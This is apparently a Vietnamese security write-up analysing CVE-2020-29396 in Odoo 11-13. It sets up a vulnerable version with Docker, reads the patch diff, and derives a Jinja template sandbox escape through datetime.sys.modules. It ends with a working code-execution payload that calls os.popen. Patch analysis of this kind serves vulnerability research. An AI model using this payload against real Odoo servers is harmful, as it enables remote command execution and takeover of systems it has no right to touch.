---
# System prepended metadata

title: Phân tích lỗ hổng 1 day Odoo

---

### CVE-2020-29396:
Affects: Odoo 11.0 through 13.0 (Community and Enterprise Editions)
CVE ID: CVE-2020-29396
Component: Core

#### Tổng quan:
![image](https://hackmd.io/_uploads/BJdnTOaQ1l.png)
Link issue: https://github.com/odoo/odoo/issues/63712

#### Reproduce:

Source code: https://nightly.odoo.com/13.0/nightly/src/odoo_13.0.20191010.zip
Với version: odoo_13.0.20191010
Nếu setup windown server thì tải bản exe.

Đối với setup docker, git clone từ https://github.com/Sayed09/odoo-13-docker
Sau đó sửa lại file docker-compose.yml:
```
  web:
    container_name: odoo13_web
    build: 
      context: .
      dockerfile: Dockerfile
    depends_on:
      - db
    ports:
      - "13000:8069"
    tty: true
    command: -- --dev=reload
    volumes:
      - ./addons:/mnt/extra-addons
      - ./etc:/etc/odoo
      - web-data:/var/lib/odoo
    restart: always
```
File Dockerfile sửa lại:
```
ENV ODOO_VERSION 13.0
ARG ODOO_RELEASE=20191010
```
![image](https://hackmd.io/_uploads/BJpN-KTX1e.png)

#### Check diff:
Có 5 file được sửa, đối với addons/mail/models/mail_template.py họ đã fix lại với wrap_module, có nghĩa là đã giới hạn module của datetime
```
datetime = wrap_module(datetime, ['date', 'datetime', 'time', 'timedelta', 'timezone', 'tzinfo', 'MAXYEAR', 'MINYEAR'])
```
![image](https://hackmd.io/_uploads/rklHNFp7yg.png)

![image](https://hackmd.io/_uploads/BJKerF6Xkl.png)

Các file còn lại update thêm code để hỗ trợ cho việc giới hạn module

Qua việc đọc bản diff thì có thể suy ra lỗi xuất hiện từ mail_template (sẽ có một chức năng nào đó call đến đây), và phát triển payload từ datetime.

Kiểm tra vào bên trong src code:
![image](https://hackmd.io/_uploads/Syf4dYpQ1g.png)

Odoo sử dụng Jinja cho template mail của họ, tuy nhiên nếu muốn RCE thì phải bypass Sanbox filter (như bản patch ở trên)
![image](https://hackmd.io/_uploads/S153_K6Qkx.png)

#### Build payload:
![image](https://hackmd.io/_uploads/Sy1nkqamJg.png)

Bên trong module datime có module sys, trace vào bên trong sys thì có func modules list hết tất cả các module của datetime
```
>>> datetime.sys.modules
{'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/lib/python3.11/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/lib/python3.11/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/lib/python3.11/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' (built-in)>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, 'sitecustomize': <module 'sitecustomize' from '/usr/lib/python3.11/sitecustomize.py'>, 'site': <module 'site' (frozen)>, 'readline': <module 'readline' from '/usr/lib/python3.11/lib-dynload/readline.cpython-311-x86_64-linux-gnu.so'>, 'atexit': <module 'atexit' (built-in)>, '_ast': <module '_ast' (built-in)>, 'itertools': <module 'itertools' (built-in)>, 'keyword': <module 'keyword' from '/usr/lib/python3.11/keyword.py'>, '_operator': <module '_operator' (built-in)>, 'operator': <module 'operator' from '/usr/lib/python3.11/operator.py'>, 'reprlib': <module 'reprlib' from '/usr/lib/python3.11/reprlib.py'>, '_collections': <module '_collections' (built-in)>, 'collections': <module 'collections' from '/usr/lib/python3.11/collections/__init__.py'>, 'types': <module 'types' from '/usr/lib/python3.11/types.py'>, '_functools': <module '_functools' (built-in)>, 'functools': <module 'functools' from '/usr/lib/python3.11/functools.py'>, 'contextlib': <module 'contextlib' from '/usr/lib/python3.11/contextlib.py'>, 'enum': <module 'enum' from '/usr/lib/python3.11/enum.py'>, 'ast': <module 'ast' from '/usr/lib/python3.11/ast.py'>, '_opcode': <module '_opcode' (built-in)>, 'opcode': <module 'opcode' from '/usr/lib/python3.11/opcode.py'>, 'dis': <module 'dis' from '/usr/lib/python3.11/dis.py'>, 'collections.abc': <module 'collections.abc' from '/usr/lib/python3.11/collections/abc.py'>, 'importlib._bootstrap': <module '_frozen_importlib' (frozen)>, 'importlib._bootstrap_external': <module '_frozen_importlib_external' (frozen)>, 'warnings': <module 'warnings' from '/usr/lib/python3.11/warnings.py'>, 'importlib': <module 'importlib' from '/usr/lib/python3.11/importlib/__init__.py'>, 'importlib.machinery': <module 'importlib.machinery' (frozen)>, '_sre': <module '_sre' (built-in)>, 're._constants': <module 're._constants' from '/usr/lib/python3.11/re/_constants.py'>, 're._parser': <module 're._parser' from '/usr/lib/python3.11/re/_parser.py'>, 're._casefix': <module 're._casefix' from '/usr/lib/python3.11/re/_casefix.py'>, 're._compiler': <module 're._compiler' from '/usr/lib/python3.11/re/_compiler.py'>, 'copyreg': <module 'copyreg' from '/usr/lib/python3.11/copyreg.py'>, 're': <module 're' from '/usr/lib/python3.11/re/__init__.py'>, 'token': <module 'token' from '/usr/lib/python3.11/token.py'>, 'tokenize': <module 'tokenize' from '/usr/lib/python3.11/tokenize.py'>, 'linecache': <module 'linecache' from '/usr/lib/python3.11/linecache.py'>, 'inspect': <module 'inspect' from '/usr/lib/python3.11/inspect.py'>, 'rlcompleter': <module 'rlcompleter' from '/usr/lib/python3.11/rlcompleter.py'>, 'math': <module 'math' (built-in)>, '_datetime': <module '_datetime' (built-in)>, 'datetime': <module 'datetime' from '/usr/lib/python3.11/datetime.py'>}
```
Bên trong này có `os': <module 'os' (frozen)>`
![image](https://hackmd.io/_uploads/H1S8gq6Qkl.png)
![image](https://hackmd.io/_uploads/B1vOxca71g.png)
Như vậy từ đây đã có thể call đến os để RCE.

#### POC:
![image](https://hackmd.io/_uploads/rJjUW5T71l.png)
![image](https://hackmd.io/_uploads/ryPwZ96XJl.png)
Preview để trigger SSTI
![image](https://hackmd.io/_uploads/r1Odb9pQJx.png)
![image](https://hackmd.io/_uploads/ryLMG5aQJg.png)
![image](https://hackmd.io/_uploads/H1IXM5pXJx.png)
![image](https://hackmd.io/_uploads/ByIVG5a7Je.png)

Payload cuối cùng là:

```
${datetime.sys.modules.get('os').popen('id').read()}
```